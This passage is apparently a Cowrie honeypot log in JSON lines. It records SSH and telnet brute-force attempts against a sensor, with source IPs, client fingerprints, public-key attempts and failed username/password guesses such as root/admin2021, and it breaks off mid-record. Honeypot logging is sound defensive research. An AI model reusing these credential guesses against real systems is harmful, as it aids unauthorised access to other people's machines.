{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:54:f4:b4:02:3a:45:9c:11:f3:1b:cc:c7:87:88:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD1UgPGzqk+DPGI92lrAv7yGAIeU46JWXIg/iu2nJc3INZ2johYLUuflz7q2TUQnZF2a4Qd7ulo8/uHygN6pOEceMp/3O8PySb1AQjRTiOTXcN2AxkyRQPwOSvPUBbV2JBUZkip+gnKwrOJ/KqodPetkupG5VOvoGatEwSB0CYR+fzpftcxy2+uZU/1kDw41ORC3B+IYDJkJOgokOETlN/wgjE6kTHYifYX9xn3krZ+gYSh7HvsUwPTDQO7YnGLWrjktRsoULnA0zy3A4zO+/Hy82wUjzX0OVALoZUclqVe6YSmfa2LzP5tKhQiVa233k4LC4UvyisbfHJ0o4Va4emz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:54:f4:b4:02:3a:45:9c:11:f3:1b:cc:c7:87:88:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:25:24.565248Z","src_ip":"50.116.30.89","session":"900814e41218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:54:f4:b4:02:3a:45:9c:11:f3:1b:cc:c7:87:88:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD1UgPGzqk+DPGI92lrAv7yGAIeU46JWXIg/iu2nJc3INZ2johYLUuflz7q2TUQnZF2a4Qd7ulo8/uHygN6pOEceMp/3O8PySb1AQjRTiOTXcN2AxkyRQPwOSvPUBbV2JBUZkip+gnKwrOJ/KqodPetkupG5VOvoGatEwSB0CYR+fzpftcxy2+uZU/1kDw41ORC3B+IYDJkJOgokOETlN/wgjE6kTHYifYX9xn3krZ+gYSh7HvsUwPTDQO7YnGLWrjktRsoULnA0zy3A4zO+/Hy82wUjzX0OVALoZUclqVe6YSmfa2LzP5tKhQiVa233k4LC4UvyisbfHJ0o4Va4emz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:25:24.569702Z","src_ip":"50.116.30.89","session":"900814e41218","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:be:90:a1:24:00:e1:0d:33:6f:3e:55:07:ec:e7:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA7qMimX8s7pnpbkLrMexoBY5uBF094mYrBwRMc8bLz70s8sXjhXlppNc26WuVM19O0yHCrov8i1xIe2ohbI+VDS/y8JNPnuEnAHvEUVeW/QKjSTBtdib4mQlkUIA6FDGHJ0Zb5P/s2C48aHu9khlIuWmBRUPtWz9yCHRWvOvQWAGbk/3UIiVOg59N6aRaBSQv8krGTWoGRGlzs3VaO9DT4JAueOzMbABrnrbPWNZ1/nxxB1Nu9fdnRhY7PGNSxbkd9CDBhFRZ87PSFhUZl6UNBrVT7fkM95NLbgbMqWG2wYp92VZR90kArl+6ObwhAu3npz3UkiKC7cHahNhfZKYr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:be:90:a1:24:00:e1:0d:33:6f:3e:55:07:ec:e7:08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:25:24.617242Z","src_ip":"50.116.30.89","session":"900814e41218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:be:90:a1:24:00:e1:0d:33:6f:3e:55:07:ec:e7:08","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDA7qMimX8s7pnpbkLrMexoBY5uBF094mYrBwRMc8bLz70s8sXjhXlppNc26WuVM19O0yHCrov8i1xIe2ohbI+VDS/y8JNPnuEnAHvEUVeW/QKjSTBtdib4mQlkUIA6FDGHJ0Zb5P/s2C48aHu9khlIuWmBRUPtWz9yCHRWvOvQWAGbk/3UIiVOg59N6aRaBSQv8krGTWoGRGlzs3VaO9DT4JAueOzMbABrnrbPWNZ1/nxxB1Nu9fdnRhY7PGNSxbkd9CDBhFRZ87PSFhUZl6UNBrVT7fkM95NLbgbMqWG2wYp92VZR90kArl+6ObwhAu3npz3UkiKC7cHahNhfZKYr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:25:24.622907Z","src_ip":"50.116.30.89","session":"900814e41218","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:05:ed:3e:b4:32:fe:9e:a1:38:8f:15:cd:aa:e6:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCveo9NXOk8DqyHkFCG1+gfQt0XZq+d4QNP0Rek/y5d8H4J5tmTx0iAVfFaX3cKjE0zmeC1jV64r7KWKK3Qx0xVRe1PqBx/X0no7bFCd9lnSi55Xcpc77sL/5wu4OpuhBK5U/04wsCQQ72BiXuvA8qhnEDv8CVOh/bWe89RWj8aL7G+ZUWmK9Sj0mQkNJUgewGWSHtajeL8j071fis6J6zaWQztkpwYmnoiJUbpdhjaUMvK/L7c1v2yhfeZ2M+JXYfL3ed+qspPPL74K0fcxrH2lD1yeDQaeVMMbJzD1EWa3b6f2sqpmTnLKuLojV6Xp0GQ4VanmiAQPpaD5I2zoiNf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:05:ed:3e:b4:32:fe:9e:a1:38:8f:15:cd:aa:e6:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:25:24.671584Z","src_ip":"50.116.30.89","session":"900814e41218","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:05:ed:3e:b4:32:fe:9e:a1:38:8f:15:cd:aa:e6:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCveo9NXOk8DqyHkFCG1+gfQt0XZq+d4QNP0Rek/y5d8H4J5tmTx0iAVfFaX3cKjE0zmeC1jV64r7KWKK3Qx0xVRe1PqBx/X0no7bFCd9lnSi55Xcpc77sL/5wu4OpuhBK5U/04wsCQQ72BiXuvA8qhnEDv8CVOh/bWe89RWj8aL7G+ZUWmK9Sj0mQkNJUgewGWSHtajeL8j071fis6J6zaWQztkpwYmnoiJUbpdhjaUMvK/L7c1v2yhfeZ2M+JXYfL3ed+qspPPL74K0fcxrH2lD1yeDQaeVMMbJzD1EWa3b6f2sqpmTnLKuLojV6Xp0GQ4VanmiAQPpaD5I2zoiNf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:25:24.678494Z","src_ip":"50.116.30.89","session":"900814e41218","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:25:24.735408Z","src_ip":"50.116.30.89","session":"900814e41218","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":55886,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb17f17c7291","protocol":"ssh","message":"New connection: 103.63.108.25:55886 (159.203.135.109:22) [session: cb17f17c7291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:25:59.217737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:25:59.224110Z","src_ip":"103.63.108.25","session":"cb17f17c7291","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:25:59.506016Z","src_ip":"103.63.108.25","session":"cb17f17c7291","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"789UIOjkl","message":"login attempt [ubuntu/789UIOjkl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:26:00.614864Z","src_ip":"103.63.108.25","session":"cb17f17c7291","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":18681,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ef88a9ad1c1","protocol":"ssh","message":"New connection: 2.57.121.25:18681 (159.203.135.109:22) [session: 9ef88a9ad1c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:26:01.238786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:26:01.243761Z","src_ip":"2.57.121.25","session":"9ef88a9ad1c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:26:01.349093Z","src_ip":"2.57.121.25","session":"9ef88a9ad1c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1932","message":"login attempt [user/1932] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:26:01.846379Z","src_ip":"2.57.121.25","session":"9ef88a9ad1c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:26:01.911395Z","src_ip":"103.63.108.25","session":"cb17f17c7291","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1907","message":"login attempt [user/1907] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:26:02.955354Z","src_ip":"2.57.121.25","session":"9ef88a9ad1c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"19061979","message":"login attempt [user/19061979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:26:04.064561Z","src_ip":"2.57.121.25","session":"9ef88a9ad1c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"19051992","message":"login attempt [user/19051992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:26:05.175178Z","src_ip":"2.57.121.25","session":"9ef88a9ad1c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"19031979","message":"login attempt [user/19031979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:26:06.284227Z","src_ip":"2.57.121.25","session":"9ef88a9ad1c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:26:07.393108Z","src_ip":"2.57.121.25","session":"9ef88a9ad1c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":39144,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c309776db9b","protocol":"ssh","message":"New connection: 193.24.211.100:39144 (159.203.135.109:22) [session: 7c309776db9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:26:50.267131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:26:50.271727Z","src_ip":"193.24.211.100","session":"7c309776db9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:26:50.379869Z","src_ip":"193.24.211.100","session":"7c309776db9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"root","message":"login attempt [ftpuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:26:50.801491Z","src_ip":"193.24.211.100","session":"7c309776db9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:26:51.912028Z","src_ip":"193.24.211.100","session":"7c309776db9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":54992,"dst_ip":"159.203.135.109","dst_port":22,"session":"34aae02e42a8","protocol":"ssh","message":"New connection: 103.63.108.25:54992 (159.203.135.109:22) [session: 34aae02e42a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:26:59.607699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:26:59.612532Z","src_ip":"103.63.108.25","session":"34aae02e42a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:26:59.894975Z","src_ip":"103.63.108.25","session":"34aae02e42a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123321","message":"login attempt [root/test123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:27:00.989305Z","src_ip":"103.63.108.25","session":"34aae02e42a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:27:02.293439Z","src_ip":"103.63.108.25","session":"34aae02e42a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.103.57.63","src_port":52960,"dst_ip":"159.203.135.109","dst_port":23,"session":"95bc552ead7b","protocol":"telnet","message":"New connection: 199.103.57.63:52960 (159.203.135.109:23) [session: 95bc552ead7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:27:48.376023Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":58216,"dst_ip":"159.203.135.109","dst_port":22,"session":"63e569d30fce","protocol":"ssh","message":"New connection: 103.63.108.25:58216 (159.203.135.109:22) [session: 63e569d30fce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:28:02.085654Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:28:02.093082Z","src_ip":"103.63.108.25","session":"63e569d30fce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:28:02.371121Z","src_ip":"103.63.108.25","session":"63e569d30fce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2021","message":"login attempt [root/admin2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:28:03.497053Z","src_ip":"103.63.108.25","session":"63e569d30fce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:28:04.779133Z","src_ip":"103.63.108.25","session":"63e569d30fce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.7107253074646,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:28:24.086653Z","src_ip":"199.103.57.63","session":"95bc552ead7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.177.154","src_port":51568,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a6b5bcfa6c0","protocol":"ssh","message":"New connection: 198.23.177.154:51568 (10.17.0.5:22) [session: 2a6b5bcfa6c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:00.380664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:29:00.386821Z","src_ip":"198.23.177.154","session":"2a6b5bcfa6c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa